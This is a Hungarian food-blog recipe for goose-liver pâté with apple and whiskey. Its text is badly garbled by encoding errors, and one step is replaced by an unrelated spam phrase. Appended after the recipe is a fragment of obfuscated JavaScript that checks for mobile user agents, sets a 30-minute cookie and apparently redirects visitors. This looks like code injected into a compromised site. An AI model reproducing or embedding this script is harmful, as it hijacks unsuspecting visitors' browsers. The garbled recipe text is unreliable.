MA?jpA?stAi??tom whiskey-vel bolondAi??tva

Kedvenc SzakA?csom A?gy dAi??ntAi??tt, ideje felszA?molni az Ai??si viszA?lyt, ami kAi??ztem, Ai??s a MA?j kAi??zAi??tt dA?l. A?si, hiszen gyerekkoromban mindig mA?jat kellett enni, Ai??s mennyire boldogAi??tA? Ai??rzAi??s volt ellenkeznem! AztA?n az ellenszenv megmaradt, hiszen a mA?j olyan furcsa A?llagA? Ai??s mAi??g csA?nyA?cska is. De nem fokozom tovA?bb az izgalmakat: ez a pA?stAi??tom kedvemre valA? volt. TalA?n amiatt is, hogy krAi??messAi??ge nem emlAi??keztet az eredeti ruganyos A?llagra, de legfAi??kAi??pp azAi??rt, mert tAi??nyleg nagyon finom.

HozzA?valA?k:

-Ai??Ai??Ai??Ai??Ai??Ai?? 15 dkg libamA?j
-Ai??Ai??Ai??Ai??Ai??Ai?? fAi??l marAi??k aprA?ra kockA?zott (mangalica) szalonna
-Ai??Ai??Ai??Ai??Ai??Ai?? 1 alma
-Ai??Ai??Ai??Ai??Ai??Ai?? 1 kis fej lilahagyma
-Ai??Ai??Ai??Ai??Ai??Ai?? 0,5 dl borkocsonya (ha Ai??pp nincs a hA?ztartA?sban, elhagyhatA?)
-Ai??Ai??Ai??Ai??Ai??Ai?? 0,25 dl whiskey (mi cseresznyAi??set tettA?nk bele, de a hagyomA?nyos is finom Ai??zt ad neki)
-Ai??Ai??Ai??Ai??Ai??Ai?? kakukkfAi??, majoranna, rozmaring, sA?, bors

ElkAi??szAi??tAi??s:

  1. Az aprA?ra szelt szalonnA?t megpirAi??tjuk. AmAi??g pirulgat, felkockA?zzuk a lilahagymA?t, majd rA?tesszA?k a szalonnA?ra, Ai??s A?vegesre pA?roljuk.
  2. Cheap styplon side

  3. HozzA?adjuk a feldarabolt mA?jat Ai??s a felszeletelt almA?kat.
  4. 5-10 perc alatt megpirul a mA?j, ekkor adjuk hozzA? (a sA? kivAi??telAi??vel!) a fAi??szereket, a whiskey-t Ai??s a borkocsonyA?t. (A mA?jat mindig csak a legvAi??gAi??n szabad sA?zni, kA?lAi??nben megkeseredhet.)
  5. Asjabb 10 percre fedAi??t teszA?nk rA?, kAi??zben nAi??ha megkeverjA?k, nehogy odaAi??gjen.
  6. Mire az alma jA?l megpuhul, addigra a mA?j is biztosan elkAi??szA?l. Ekkor Ai??rkezik el az idAi??, hogy levegyA?k a tAi??zrAi??l Ai??s megsA?zzuk.
  7. Ai??sszeturmixoljuk, Ai??s egy folpackkal kibAi??lelt tA?lkA?ba tesszA?k. Hagyjuk kihAi??lni, majd nAi??hA?ny A?rA?ra a hAi??tAi??be tesszA?k.
  8. Ha szAi??pen megdermedt, kAi??sz is a tA?lalA?sra. KiborAi??thatjuk egy kistA?nyAi??rra (itt kap szerepet a folpack, mert hatA?rozottan kecsesebbAi?? vA?lik ez a mozzanat, Ai??s a vAi??geredmAi??ny is lAi??nyegesen tetszetAi??sebb, mint amikor az Ai??tel fele a tA?lban ragadJ), Ai??s mA?r kenhetjA?k is a kenyerA?nkre.

Tipp: fokozhatjuk a pA?stAi??tom Ai??lvezeti Ai??rtAi??kAi??t, ha sajA?t kAi??szAi??tAi??sAi?? zsemlAi??kre kenjA?k. A hA?zi zsemlAi??k receptjAi??t hamarosan megosztom veletek. 80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}